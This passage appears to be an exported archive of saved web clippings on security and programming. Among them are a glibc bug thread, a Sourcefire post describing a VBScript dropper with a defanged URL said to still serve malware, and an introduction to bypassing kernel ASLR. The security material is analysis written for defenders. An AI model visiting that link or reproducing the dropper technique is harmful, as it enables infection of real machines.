than or equal\), ja\(jump above\), cmp \(compare\), test, etc\)  
\* Boolean logic \(and, or, xor, not\)  
\* Logical and Arithmetic bit shift instructions and the cases where each
would be used \(shl \(logical shift left\), shr \(logical shift right\), sal
\(arithmetic shift left\), sar\(arithmetic shift right\)\)  
\* Signed and unsigned multiplication and division  
\* Special one instruction loops and how C functions like memset or memcpy can
be implemented in one instruction plus setup \(rep stos \(repeat store to
string\), rep mov \(repeat mov\)  
\* Misc instructions like leave and nop \(no operation\)  
\* Running examples in the Visual Studio debugger on Windows and the Gnu
Debugger \(GDB\) on Linux  
\* The famous "binary bomb" lab from the Carnegie Mellon University computer
architecture class, which requires the student to do basic reverse engineering
to progress through the different phases of the bomb giving the correct input
to avoid it âblowing upâ. This will be an independent activity.  
  
Knowledge of this material is a prerequisite for future classes such as
Intermediate x86, Rootkits, Exploits, and Introduction to Reverse Engineering.

# Haskell for all: Worst practices are viral for the wrong reasons

**Created:**| _4/19/2014 6:09:08 PM_  
---|---  
**Updated:**| _4/19/2014 6:09:08 PM_  
**Author:**| __  
**Tags:**| _opinion_  
  

# Worst practices are viral for the wrong reasons

This short post describes my hypothesis for why poor software engineering
practices are more viral. Simply stated:

> Worst practices spread more quickly because they require more attention
The following two sections outline specific manifestations of this problem and
how they promote the dissemination of worst practices.

#### Management

_Corollary 1: Teams with the greatest technical debt mentor the most
employees._

**Scenario 1:** You manage a team that ships an important feature but with a
poor execution. You can make a compelling case to management that your team
needs more head count to continue supporting this feature. More employees
reporting to you increases your chances of promotion and you enjoy rewarding
opportunities to mentor new software engineers in your specific brand of
programming.

**Scenario 2:** You manage a team that ships an important feature in the exact
same amount of time but with an amazing execution. Your code requires little
maintenance, so little in fact that your team is now obsolete. If you're lucky
you are retasked to work on a new project; if you're unlucky you are fired
because your skills are no longer relevant. Training others how to write
software of excellent quality is out of the question either way.

In other words, software engineers that produce excellent code cannot easily
pass on their wisdom to the next generation of programmers unless they go into
academia.

#### Open source projects

_Corollary 2: Poorly implemented libraries or programming languages generate
more buzz._

**Scenario 1:** You write a useful library or programming language, but it is
incredibly buggy and problematic. This generates several scathing blog posts
criticizing your work, prompting others to clarify in response how to work
around those issues. Don't forget to check Stack Overflow, which is full of
people asking for help regarding how to use your project. Did you know that
people measure popularity in terms of Stack Overflow questions?

**Scenario 2:** You release a useful library or programming language at the
same time, except that through some miracle you get it correct on the first
try. Version 1.0 is your first and last release. That means you can't
advertise your library through announcement posts for subsequent releases and
there are only so many ways that you can say "it works" before people accuse
you of shameless advertising.

In other words, well-written open source projects can become victims of their
own success, with fewer opportunities to market themselves.

#### Conclusion

Obviously the above examples are exaggerated hyperboles and reality is
somewhere in the middle. There is no perfect software project or team and
there is a limit to how much crap a company or user will tolerate.

However, I write this because I value simple and understandable software and I
want to start a discussion on how software engineering can culturally reward
correctness and reliability. We need to think of ways to encourage programming
excellence to spread.

# Sysinternals Suite

**Created:**| _5/27/2009 7:36:21 PM_  
---|---  
**Updated:**| _5/27/2009 7:36:31 PM_  
**Author:**| __  
**Tags:**| _windows security security tools_  
  

# Sysinternals Suite

## By Mark Russinovich

Updated: May 7, 2009

## Introduction

The Sysinternals Troubleshooting Utilities have been rolled up into a single
Suite of tools. This file contains the individual troubleshooting tools and
help files. It does not contain non-troubleshooting tools like the BSOD Screen
Saver or NotMyFault.

The Suite is a bundling of the following selected Sysinternals Utilities:

**AccessChk****AccessEnum****AdExplorer****AdRestore****Autologon****Autoruns****BgInfo****CacheSet****ClockRes****Contig****Coreinfo****Ctrl2Cap****DebugView****Desktops****DiskExt****DiskMon****DiskView****Disk
Usage \(DU\)****EFSDump****FileMon****Handle****Hex2dec**|
**Junction****LDMDump****ListDLLs****LiveKd****LoadOrder****LogonSessions****NewSid****NTFSInfo****PageDefrag****PendMoves****PipeList****PortMon****ProcessExplorer****Process
Monitor****ProcFeatures****PsExec****PsFile****PsGetSid****PsInfo****PsKill****PsList****PsLoggedOn**|
**PsLogList****PsPasswd****PsService****PsShutdown****PsSuspend****RegDelNull****RegJump****RegMon****RootkitRevealer****SDelete****ShareEnum****ShellRunas****SigCheck****Streams****Strings****Sync****TCPView****VMMap****VolumeID****WhoIs****WinObj****ZoomIt**  
  
  
---|---|---  
<img src='img/Temp2_7807.gif' />  
**Download Sysinternals Suite**  
**\(9.8 MB\)**

# Bug 12492 – dl: RELRO handling crashes when kernel enforces MPROTECT
restrictions

**Created:**| _7/17/2011 1:49:11 PM_  
---|---  
**Updated:**| _7/17/2011 1:49:11 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
| **Status** : |  REOPENED   
---|---  
Product: | glibc  
**Co _m_ ponent: ** | libc   
**Version** : | 2.11   
**_I_ mportance**: | P2 normal   
Target Milestone: | \---   
**Assigned To** : | Ulrich Drepper  
**_U_ RL**: |   
**_K_ eywords**: |   
Depends on: |   
_B_ locks: |   
|  Show dependency tree / graph  
|  |  **Reported** : | 2011-02-15 14:44 UTC by Pierre Ynard  
---|---  
**Modified** : | 2011-03-17 08:32 UTC \(History\)   
**CC List** : | 4 users    
  
See Also: |   
Host: |   
Target: |   
Build: |   
Last reconfirmed: |   
* * *  
  
|  Attachments  
---  
**Proposed fix** \(585 bytes, patch\)  
2011-02-15 14:44 UTC, Pierre Ynard |  Details | Diff  
View All Add an attachment \(proposed patch, testcase, etc.\)  
  

log in  
---  
Description Pierre Ynard 2011-02-15 14:44:32 UTC

[code]

    Created attachment 5242 [details]
    Proposed fix
    
    See Debian bug http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=611195
    
    When dlopen'ing a library that needs to make the stack executable, the RELRO
    section is made writable again to modify the __stack_prot variable. However,
    the return value of the mprotect() call is not checked; so if mprotect() fails,
    instead of gracefully handling the error, the dynamic loader tries to write to
    __stack_prot anyway, which results in a segmentation fault. And this mprotect()
    call *will* fail on PaX kernels that enforce restrictions on it.
    
    The simple fix is to check the return value and simply fail to load the
    problematic library, instead of crashing the whole process. And it's just good
    programming practice.
[/code]

Comment 1 Ulrich Drepper 2011-02-15 19:30:30 UTC

[code]

    Just use a supported kernel.
[/code]

Comment 2 PaX Team 2011-02-15 20:03:46 UTC

[code]

    mprotect() can fail on supported kernels (what are they anyway?), so it is
    simply bad programming practice to not check the return value.
[/code]

Comment 3 Ulrich Drepper 2011-02-17 05:45:00 UTC

[code]

    No, it cannot fail in these situations.
[/code]

Comment 4 PaX Team 2011-02-17 10:02:59 UTC

[code]

    merging and splitting vma structures require memory allocation that can fail.
[/code]

Comment 5 PaX Team 2011-02-17 10:25:43 UTC

[code]

    i almost forgot, you didn't answer my question: what is your definition of a
    supported kernel?
[/code]

Comment 6 Ulrich Drepper 2011-02-18 16:40:41 UTC

[code]

    Stop reopening the bug.  If you have to redefine what your own OS does then
    maintain your own version of everything else as well.
[/code]

Comment 7 ireopenit  2011-02-18 16:53:35 UTC

[code]

    Do you have any real reason not to apply the submitted patch? Childish spite
    doesn't count.
[/code]

Comment 8 Kees Cook 2011-02-18 17:08:11 UTC

[code]

    The stock Linux kernel can fail the mprotect call. The LSM mediates this
    routine. Even SELinux has hooks to reject certain calls. It seems prudent to
    check the return code since LSMs are being improved/changed all the time.
[/code]

Comment 9 PaX Team 2011-02-18 19:43:01 UTC

[code]

    since this bug affects any kernel, including those of your own employer, it
    will stay open until it gets fixed. it's also obvious that failing the second
    mprotect in the same block of code means you've left ld.so's RELRO region
    writable and that's a security bug itself so you'd better check its return
    value as well and ask for a CVE.
[/code]

Comment 10 Pierre Ynard 2011-02-21 04:05:59 UTC

[code]

    First of all, I'm sorry for all of this that I started :( I'm sorry to
    use up so much of your time, I imagine that dealing with bug reports and
    trivial issues must be boring and sometimes frustrating. I'm just trying
    to help by taking care some of the dull janitor job like checking return
    values: a patch is all ready and it only needs someone to commit it.
    
    glibc is a great piece of software and I'm sure people look at it as a
    coding model, so it would be a shame to leave examples that could look
    like bad practice, even if that part of the code is not so important in
    itself.
    
    I'd love to see this matter just resolved. If you don't mind. Please
    please accept my humble apology along with this patch.
[/code]

Comment 11 Pierre Ynard 2011-03-02 22:12:09 UTC

[code]

    The patch was merged into eglibc
    (http://www.eglibc.org/archives/commits/msg01710.html). I guess than rather
    than "just use a supported kernel", I'll have to just use a supported libc :(
    Pax Team, any suggestion about what should be done if the second mprotect()
    fails?
[/code]

Comment 12 PaX Team 2011-03-02 22:30:32 UTC

[code]

    probably the same as with the first mprotect failure.
[/code]

Comment 13 Pierre Ynard 2011-03-03 02:09:51 UTC

[code]

    But it still leaves the RELRO region writable, and I doubt the calling
    application is going to do anything about it
[/code]

Comment 14 PaX Team 2011-03-03 08:40:54 UTC

[code]

    by default the code after call_lose_errno won't return to the application ;).
[/code]

Comment 15 Charlie Sheen 2011-03-15 15:54:27 UTC

[code]

    __stack_prot |= PROT_READ|PROT_WRITE|PROT_EXEC;
    
    Whoever wrote this, you are rwx-winning. You win at reads, you win at writes
    and you win at execution. I couldn't have done it better even if I banged a
    seven gram text-relocating rock.
[/code]  
---

# VRT: Delivering an executable without an executable

**Created:**| _9/27/2013 12:26:56 PM_  
---|---  
**Updated:**| _9/27/2013 12:26:56 PM_  
**Author:**| __  
**Tags:**| _deploy_  
  

# Delivering an executable without an executable****

The VRT looks at a massive amount of exploit kits a day, but this one caught
our eye so we thought we'd share**.** While this technique isn't _new_ , it is
very interesting and further illustrates what we all believe to be true in the
security world, you can't trust anything**.**  
  
With any exploit kit, the end goal is to drop malware on the victim host but
unlike the majority of exploit kits we see, this one does it in a unique
manner**.** Instead of exploiting the victim through Java, Adobe Reader, or
the browser, and using that foothold to fetch and run and executable; this
attacker uses VBScript to write the executable to disk**.** The end result is
an executable on the victim machine without using an exploit to download the
executable**.**  
  
The link is still active at this time and is still serving malware**.**  
VirusTotal results  
  
hXXp://sarmayebux\[**.**\]ir/includes/imaslider/widgets\[.\]htm  
  
Let's take a look at the VBScript**.** First it declares the variable
"DropFileName" with the string "svchost.exe"**.** That's a nice descriptive
variable name and it's not obfuscated**.** The next variable is "WriteData"
and is a relatively large string**.**

<img src='img/Temp2_8812.png' />

Take a look at those first four characters: "4D5A" \(in hex\) or "MZ" \(in
ascii\), the first two characters of an everyday Portable Executable or PE
file**.** Finally, another string is assembled called "DropPath"**.** It uses
the GetSpecialFolder method with a folderspec argument of 2, this holds the
value of the "TMP" environment variable**.** The file is created with
CreateTextFile with the overwrite argument set to true**.** The "WriteData" is
then written out in hex and executed without an actual executable being
downloaded or an exploit being used**.**  
  
I tested this on Windows XP with IE 8 and Windows 7 IE 9**.** The user is
presented with a warning on both systems. The name and publisher information
presented in the warning shows that the add-on that was blocked is from
Microsoft**.** Any unsuspecting user may just click "Allow" on these**.**  
  
The XP IE 8 and Win7 IE 9 warnings:

<img src='img/Temp2_8811.png' width='640' height='53' />

<img src='img/Temp2_8813.png' width='640' height='49' />

The malware itself is detected as Win.Trojan.Ircnite-27 with ClamAV and
additional rules will be released to cover this method of executable delivery
in the form of SIDs 28053 and 28054**.**  
  
We are always interested in hearing about new and interesting methods used by
attackers, so feel free to drop us a line if you'd like to share what you are
seeing at: research@sourcefire.com**.******

# Just-Metadata - Intel Gathering and Analysis of IP Metadata

**Created:**| _6/12/2015 4:42:29 PM_  
---|---  
**Updated:**| _6/18/2015 3:19:19 PM_  
**Author:**| __  
**Tags:**| _searching OSINT_  
  

# Intel Gathering and Analysis of IP Metadata

Github Repo: https://github.com/ChrisTruncer/Just-Metadata

For some time now, I’ve been working on a tool which aggregates data about IP
addresses from publicly available sources. Three separate events prompted this
project. First, I began noticing a large number of IP addresses attempting to
brute force their way into my mail server.  Second, a large number of
systems/IPs scanned my web server for vulnerable web applications \(Tomcat,
phpMyAdmin, etc\).  Finally, ATD sometimes will receive spam email that
contains malware.  Justin Warner \(@sixdub\), ATD’s resident reverse engineer,
investigated one of the malware sample in a spam message we received and was
able to extract the IP addresses of the callback domain.

I wanted to see if there was anything I could learn about the systems/IPs
targeting my server and the malware callback domains we were seeing.
 Specifically, I wanted to collect the following:

  * IP Whois Information
  * Geographical Information
  * Shodan information \(Ports, keys, certificates, etc.\)
  * VirusTotal
  * Various Threat Feeds

After a couple conversations with Justin, I decided to write a tool to do just
that.  Justin and I brainstormed functionality that would be useful, and the
type of information we would want to gather. However, just simply gathering
the information isn’t necessarily enough to provide any sort of value.  It’s
the analysis of the available data where I can get something useful.  Are the
systems that are scanning me owned by the same person/company/etc.? Are they
located in the same country? To answer these questions, I wrote Just-Metadata,
which I am happy to release today.

Let’s walk through some of the features, and how Just-Metadata works.

<img src='img/Temp2_4739.png' width='1443' height='617' alt='JustMetadata Main
Menu' />

To start off using Just-Metadata, create a text file containing a list of IP
addresses \(each on a new line\).  To get the IPs into the Just-Metadata,
you’ll use the load command, and provide the path to the file containing the
IP addresses, similar to either of the following:

load ips.txt – If ips.txt is in the same directory as Just-Metadata

load /home/SonofFlynn/iplist.txt – Full path to file is also accepted

You should soon see a message indicating that X number of IPs have been
loaded.

<img src='img/Temp2_4743.png' alt='Loaded IPs in Just Metadata' />

Now that the IPs we want to investigate have been loaded into the framework,
we can begin the information gathering process.  Just-Metadata can connect to
and gather information from a variety of different sources.  To see the
different sources that Just-Metadata grabs from, simply run the command “list
gather”, and you should see something similar to the following:

<img src='img/Temp2_4738.png' width='1435' height='438' alt='Updated Gather
Modules' />

The information left of the “=>” is the module name, and the information to
the right gives a description of what it gathers.  To actually collect
information from each source, you would use the “gather” command.  As an
example, to grab information from Shodan about the loaded IPs, I would run
“gather shodan”.  I would then see Just-Metadata querying Shodan \(or the
selected source\) for information.  _**NOTE** : Shodan is the only source
within Just-Metadata that requires an API key.  Be sure to place your API key
into the shodan module.  To do this, open the shodan module \(located at Just-
Metadata/module/intelgathering/get\_shodan.py and add your API key in line 16,
for the self.api\_key variable.  All other modules work without any
requirement other than an internet connection._

<img src='img/Temp2_4736.png' alt='Gather Shodan' />

I will typically follow this process for all available intelligence gathering
sources within Just-Metadata.  One item to note is that some sources are rate-
limited, so certain intelgathering modules can take time to complete depending
upon the number of IPs that need to be investigated.  Once all of the
different intelgathering sources have completed gathering information, the
meat of the tool can be put to use, the analysis modules.

Just-Metadata can be used to perform automated analysis against the gathered
data.  The goal of these modules should be to analyze patterns across all of
the gathered data, and attempt to find, and display, meaningful data for
consumption by the user.  This is what I consider to be the most valuable part
of the tool.  Collecting data is important, but extrapolating meaning from it
is where the actual good stuff lies.  Analysis modules have full access to all
data collected by the framework, and should be used to identify patterns in
data, or anything that can be used to find useful data in an otherwise large
dataset.  To start off, you can list all of the different analysis modules by
using the “list analysis” command.  When running this, you should see
something similar to the following:

<img src='img/Temp2_4737.png' width='1440' height='478' alt='Updated JM
Modules' />

To use any of the available analysis modules, just use the “analyze” command.
 For example, if we want to view the top X cities, countries, timezones, ISPs,
etc. that are included within the loaded IP addresses, you can use the “Geo”
module.  To run this module, just type “analyze geoinfo”.  You will be
prompted for the number of results you want back per category, I usually
choose 10, but feel free to adjust as you see fit.  Once you provide the total
number of results per category, you should see something similar to the
following \(amongst additional data\):

<img src='img/Temp2_4744.png' alt='GeoINFO' />

Another module that I find useful is the “keys” module.  This module works by
parsing the data from Shodan, and looks for shared SSH keys, or HTTPS
certificates across all IPs loaded into Just-Metadata.  The keys module will
then ask the number of keys you want displayed, and will show any SSH keys,
HTTPS certificates, etc. that is shared across any of the loaded IP addresses.
 When running “analyze keys” you might see something similar to the following:

<img src='img/Temp2_4741.png' alt='SSH Keys' />

<img src='img/Temp2_4742.png' alt='Shared HTTPS Certs' />

In this limited number of IPs, there weren’t any systems that shared the same
SSH keys, however there are three different IPs that have a shared https
certificate.

Another analysis option is the “feedhits” module.  This will compare all of
the IPs loaded into the framework with a variety of different threat intel
feeds that are available on the internet.  If an IP is in any of the threat
intel feeds, it will highlight and call them out.  When comparing the loaded
IPs to different threat intel feeds, these were some of my results:

<img src='img/Temp2_4746.png' alt='Feed hits' />

If at any point you would like to see all the information gathered about a
single IP address, you can do that by using the “ip\_info” command along with
the IP address.  So the command may look like “ip\_info 180.253.10.125” and
your output might be similar to the following:

<img src='img/Temp2_4740.png' alt='Ip info command' />

Another feature that I wanted in this tool is the ability to save the current
state, and then reload it for analysis later.  Just-Metadata can do this with
the “save” and “import” functions.  To save your current state \(after you’ve
gathered any data you wish to have saved along with the state\), simply type
“save” at the command prompt.  You should see something similar to:

<img src='img/Temp2_4747.png' alt='Save Justmetadata' />

You can now safely exit Just-Metadata without losing any of the data you’ve
gathered.

To import any state that’s been saved to disk, just use the import command,
along with the path to a Just-Metadata state file.  Your command could be
something like “import metadata06082015\_172032.state” and once run, should
look similar to:

<img src='img/Temp2_4745.png' alt='Import JustMetadata' />

I believe that this covers most of the functionality in Just-Metadata.  If
there’s anything that’s missing that would be helpful to have explained, let
me know and I’ll be sure to add to this post.  I’m available at @christruncer
on Twitter or in \#veil on Freenode\!

# Security-Shell: Bypassing Windows 7 Kernel ASLR

**Created:**| _10/14/2011 10:43:16 AM_  
---|---  
**Updated:**| _10/14/2011 10:43:16 AM_  
**Author:**| __  
**Tags:**| _windows security aslr kernel_  
  

### Bypassing Windows 7 Kernel ASLR

Windows 7 has a nice security about kernel space  
  
Many checks of size, integrity controls and access restrictions are
available.For example the “security check” protect our stack if a string is
used, many functions like “strcpy\(\)” are deprecated \(and some are
disallowed\) to force developers to have a secure coding.This is why, some
attacks were presented as heap overflows in local exploitations \(recently
Tarjei Mandt\)but we don’t see any remote exploitation like we saw in SRV.SYS
or other drivers.This lack of remote exploits occurs partially because an ASLR
\(randomization of memory spaces\) is enabled in kernel land. If a hacker
doesn’t have any possibilities to jump and execute a payload \(ROP, Jmp Eax
…\) exploitation of the bug isn’t possible. Only a magnificent BSOD could
appear in most of the cases.This paper will try to explain how to bypass this
protection and improve remote kernel vulnerabilities research\!For the use of
this document we will consider a remote stack overflow as the main
vulnerability

# http://search.reversing.com.ar/

**Created:**| _12/3/2013 8:57:46 AM_  
---|---  
**Updated:**| _12/3/2013 8:57:46 AM_  
**Author:**| __  
**Tags:**| _searching_  
  

<img src='img/Temp2_10324.png' />

**search.reversing.com**.** ar** \- Lazy Infosec Custom Search  
\[I wanna know more\]  
  
****

# Technical Revenue: A Google Interviewing Story

**Created:**| _11/20/2010 3:45:25 PM_  
---|---  
**Updated:**| _11/20/2010 3:45:41 PM_  
**Author:**| __  
**Tags:**| _interviews career_  
  

### A Google Interviewing Story

A few years ago I was entering the Silicon Valley job market and at that time
looking for senior engineering positions. A good rule of thumb about
interviewing if you haven't done it in awhile is to at least somewhat accept
that you'll probably make a few mistakes on your first few tries. Simply,
don't go for your dream job first. There are a million nuances to interviewing
that you've forgotten, and a few up-front, not-so-important interviews first
will educate \(or re-educate\) about them.  
  
One of the first places I interviewed was a company called gofish.com. As far
as I know - gofish is an utterly different company now than when I interviewed
there. I'm almost sure that everyone I met there no longer works there, so the
actual company isn't terribly relevant to the story. But the interviewer is.
My technical interview there was with a guy named Guy.  
  
Guy wore leather pants. Its a well-known fact that interviewers in leather
pants are "extra" scary. And Guy was by no means a let down. He was also a
technical crack-shot. And he was a technical crack-shot in leather pants -
seriously, I didn't have a chance.  
  
One question he asked me I'll never forget. In truth, its a pretty innocuous
question - but it's also pretty standard fare for silicon valley interviewing
questions at that time.  
  
Here it is:  
  
Say you have one string of alphabetic characters, and say you have another,
guaranteed smaller string of alphabetic characters. Algorithmically speaking,
what's the fastest way to find out if all the characters in the smaller string
are in the larger string?  
  
For example, if the two strings were:  
  
  
String 1: ABCDEFGHLMNOPQRS  
String 2: DCGSRQPOM  
  
  
You'd get true as every character in string2 is in string1. If the two strings
were:  
  
  
String 1: ABCDEFGHLMNOPQRS  
String 2: DCGSRQPOZ  
  
  
you'd get false as Z isn't in the first string.  
  
When he asked the question I literally jumped to my feet. Finally, a question
I could answer with some confidence. \(Note my answer to him was solely
considering the worst cases as there are plenty enough nuances there for an
interview question\).  
  
The naive way to do this operation would be to iterate over the 2nd string
once for each character in the 1st string. That'd be O\(n\*m\) in algorithm
parlance where n is the length of string1 and m is the length of string2.
Given the strings in our above example, thats 16\*8 = 128 operations in the
worst case.  
  
A slightly better way would be to sort each string and then do a stepwise
iteration of both sorted strings simultaneously. Sorting both strings would be
\(in the general case\) O\(m log m\) + O\(n log n\) and the linear scan after
that is O\(m+n\). Again for our strings above, that would be 16\*4 + 8\*3 = 88
plus a linear scan of both strings at a cost of 16 + 8 = 24. Thats 88 + 24 =
112 total operations. Slightly better. \(As the size of the strings grow, this
method would start to look better and better\)  
  
Finally, I told him the best method would simply be O\(n+m\). That is, iterate
through the first string and put each character in a hashtable \(cost of
O\(n\) or 16\). Then iterate the 2nd string and query the hashtable for each
character you find. If its not found, you don't have a match. That would cost
8 operations - so both operations together is a total of 24 operations. Not
bad and way better than the other solutions.  
  
Guy wasn't impressed. He showed it by rustling his leather pants a bit. "Can
you do better?" he asked.  
  
What the heck? What did this guy want? I looked at the whiteboard and turned
back to him. "No, O\(n+m\) is the best you have - I mean, you can't do this
without looking at each character at least once - and this solution is looking
at each character precisely once". The more I thought about it, the more I
knew I was right.  
  
He stepped up to the whiteboard, "What if - given that we have a limited range
of possible characters - I assigned each character of the alphabet to a prime
number starting with 2 and going up from there. So A would be 2, and B would
be 3, and C would be 5, etc. And then I went through the first string and
'multiplied' each character's prime number together. You'd end up with some
big number right? And then - what if I iterated through the 2nd string and
'divided' by every character in there. If any division gave a remainder - you
knew you didn't have a match. If there was no remainders through the whole
process, you knew you had a subset. Would that work?"  
  
Every once in awhile - someone thinks so fantastically far out of your box you
really need a minute to catch up. And now that he was standing, his leather
pants weren't helping with this.  
  
Now mind you - Guy's solution \(and of course, needless to say I doubt Guy was
the first to ever think of this\) was algorithmically speaking no better than
mine. Even practically, you'd still probably use mine as it was more general
and didn't make you deal with messy big integers. But on the "clever scale",
Guy's was way, way, \(way\) more fun.  
  
I didn't get the job. Or I think they offered me some trial position or
something that I refused, but it didn't matter. I was on to bigger and better
things.  
  
Next, I interviewed at become.com. After a phone interview with the CTO he
sent me a "programming assignment". It was a bit over the top - but in
retrospect, worth the 3 days it took me to complete. I got an interview and a
job offer - but the biggest value was what the programming assignment forced
me to go out and learn. I had to build a web-crawler, a spellchecker/fixer,
and a few other things. Good stuff. In the end however, I turned down the
offer.  
  
Finally, I had an interview at Google. I've written before that the Google
interviewing process does tend to live up to the hype. Its long - its rigorous
and in all honesty, pretty darn fair. They do as best they can to learn about
you and your abilities in an interview setting. By no means is that an exact
science, but I'm convinced they give it a good try.  
  
My 4th technical interview at Google was with a woman engineer that honestly
seemed a bit bored of interviewing. I had done well in all my previous
interviews there and was feeling pretty good about my chances. I was confident
that if I did nothing ridiculously silly - I'd get the job.  
  
She asked me a few softball questions about sorting or design, I'm not sure.
But towards the end of our 45 minutes she told me "I have one more question.
Let's say you have a string of alphabetic characters of some length. And you
have another, shorter string of characters. How would you go about finding if
all the characters in the smaller string are in the larger string?"  
  
Woah. Deja-Guy.  
  
Now, I could have probably stopped the interview right there. I could have
said "Ahee\! I just got this question a few weeks ago\!" which was true. But
when I was asked it a few weeks previous - I did get it right. It truly was a
question I knew the answer to. Almost as if Guy had been one of my study
partners for this very interview. And heck, people study interview questions
on the internet all the time - by me non-chalantly answering the question I
wouldn't be "lying" in any way. I did know the answer on my own\!  
  
Now you might think, that in the instant after her asking, and before the
moment of time that I began speaking that the entire last paragraph sequenced
through my thought process rationalizing that I was, indeed, morally in the
right to calmly answer the question and take credit for the answer. But sadly,
that wasn't the case. Metaphorically, it was more like she asked the question
and my brain immediately raised its hand and started shouting "Me\! ooh\!
ooh\! ooh me\! I know\! ask me\!" My brain kept trying to wrestle mouth-
control away from me \(which happens plenty\) but only by stalwart resolve was
I able to retain composure.  
  
So I answered. Calmly. With almost unearthly grace and poise. And with a
purposeful demeanor - with, I think, a confidence that only someone with
complete and encyclopedic knowledge of this timeless and subtle problem would
hold.  
  
I breezed over the naive solution as if it were unworthy. I mentioned the
sorting solution as if it were wearing a red-shirt on an early episode of Star
Trek. And finally, nonchalantly, almost as if I had invented all things good
and algorithmically efficient, mentioned the O\(n+m\) linear solution.  
  
Now mind you - despite my apparent poise - the entire time I was fighting my
brain who, internally, was screaming at me -- "TELL HER THE PRIME NUMBER
SOLUTION YOU DIMWIT \!"  
  
I ignored his pitiful pleas.  
  
As I finished the linear solution explanation, her head dutifully sank with
complete non-surprise and she started writing in her notes. She had probably
asked that question a hundred times before and I'd guess most people got it
right. She probably wrote "yep. boring interview. got boring string question
right. no surprise. boring guy but probable hire"  
  
I waited a moment. I let the suspense build as long as possible. I am truly
convinced that even a moment longer would have resulted in my brain throwing
itself fully into an embolism resulting in me blurting out unintelligible mis-
facts about prime numbers.  
  
I broke the calm. "You know, there is another, somewhat cleverer solution"  
  
She lethargically looked up with only a glimmer of hope.  
  
"Given that our range of characters is limited. We could assign each character
to a prime number starting at 2. After that we could 'multiply' each character
of the large string and then 'divide' by each character of the small string.
If the division operation left no remainder, we'd know we have a subset."  
  
I'm guessing that at this point, she looked pretty much as I did when Guy had
said the same thing to me. General loss of composure, one pupil was dilated,
slight spitting while talking.  
  
After a moment, she blurted "But.. wait that wouldn'... yes it would\! But
how.. what if.. wow. wow. that works\! Neat\!"  
  
I sniffed triumphantly. I wrote down "She gave me a 'Neat\!'" in my
interviewing notes. I'm pretty sure I was getting the job before that
question, but it was pretty clear that I was in for sure now. What's more, I'm
pretty confident that I \(or more precisely, Guy\) had just made her day.  
  
I spent 3 years working at Google and had a great time. I quit in 2008 to CTO
a new startup and have subsequently started another of my own after that.
About a year ago I randomly met Guy at a start-up party who had no idea who I
was but when I recounted this story he nearly peed his leather pants laughing.  
  
Again, if there is a moral here - it's to never chase your dream job before
you chase a few you're willing to fail at. Apart from the interviewing
experience you'll gain, you never know who might just get you ready for that
big interview. In fact, that rule just might work for a lot of things in life.  
  
And seriously, if you get the chance and you're looking to hire a crackshot
engineer - you could do far worse than hiring Guy. That dude knows things.

# Rapid GUI Programming with Python and Qt

**Created:**| _1/10/2010 9:28:26 AM_  
---|---  
**Updated:**| _1/10/2010 9:28:35 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
Rapid GUI Programming with Python and Qt  
The Definitive Guide to PyQt Programming  
by  _Mark Summerfield_  
  
ISBN-10: 0132354187 – ISBN-13: 978-0132354189|

  * Qtrac Ltd. \(home page\)
  * Programming in Python 3 \(book\)
  * Advanced Qt Programming \(book\)
  * C++ GUI Programming with Qt 4 \(book\)
  * Writing & Software

  
---|---  
This book teaches programmers how to write programs using PyQt 4, the Python
bindings for the Qt 4 application development framework. PyQt 4 is probably
the fastest and easiest route into GUI programming and works on Windows, Mac
OS X, and most operating systems that use the X Window System, such as Linux
and many Unices. \(Note that the book is also useful for PySide programmers
since apart from the `import`s and a few static functions, PySide has the same
API as PyQt 4's API\#1. Be aware that from PyQt4.6, PyQt now has two different
APIs—but this only affects Python 3 out of the box and doesn't affect Python 2
users unless they want it to: see About PyQt's APIs.\)The book will be useful
to people who program professionally as part of their job, whether as full-
time software developers, or those from other disciplines, including
scientists and engineers, who need to do some programming in support of their
work. It is also suitable for students—the only prerequisite is basic
knowledge of an object oriented programming language, for example, Java or
C++, or of course Python itself. The book is ~550 pages \(648 including the
appendices and index\), has a foreword by Phil Thompson creator of PyQt, and
is published by Prentice Hall. It can also be bought from Amazon.com, Barnes &
Noble, Amazon.co.uk, Amazon.de, Amazon.fr, Amazon.jp, and other online and
local book stores. Only the printed editions are  _definitive_ —although
available in electronic formats, \`\`ebooks'' are often retypeset, which can
introduce errors. The InformIT website has a Sample Content page which
provides an online \(HTML\) copy of Chapter 4, and downloadable \(PDF\) copies
of Chapter 4, the Foreword, the Introduction, and the Index. The source code,
including `mkpyqt.py` and Make PyQt is available in two formats,
pyqtbook.tar.gz \(717K suitable for any platform\), and pyqtbook.zip \(913K
Windows line endings\) \[updated 2009-12-03\]. \(See the bottom of the page
for versions of the examples for Python 2.6 and Python 3.\) There is also an
Errata \[updated 2009-11-30\]. A Chinese translation is in the works. Table of
Contents—the chapters also have exercises and summaries

  * Part I: Python Programming
    1. Data Types and Data Structures
    2. Control Structures
    3. Classes and Modules
  * Part II: Basic GUI Programming
    4. Introduction to GUI Programming
    5. Dialogs
    6. Main Windows
    7. Using Qt Designer
    8. Custom File Formats
  * Part III: Intermediate GUI Programming
    9. Layouts and Multiple Documents
    10. Events, the Clipboard, and Drag & Drop
    11. Custom Widgets
    12. Graphics \(_this chapter is devoted to the graphics view architecture introduced with Qt 4.2\)_
    13. Rich Text
    14. Model/View Programming
    15. Databases
  * Part IV: Advanced GUI Programming
    16. Advanced Model/View Programming
    17. Internationalization
    18. Networking
    19. Multithreading
  * Appendix A: Installing Python, PyQt, and the Qt Libraries on Windows, Mac OS X, and X11-based Unices including Linux
  * Appendix B: Selected PyQt Widgets
  * Appendix C: Selected PyQt Class Hierarchies
  * Index

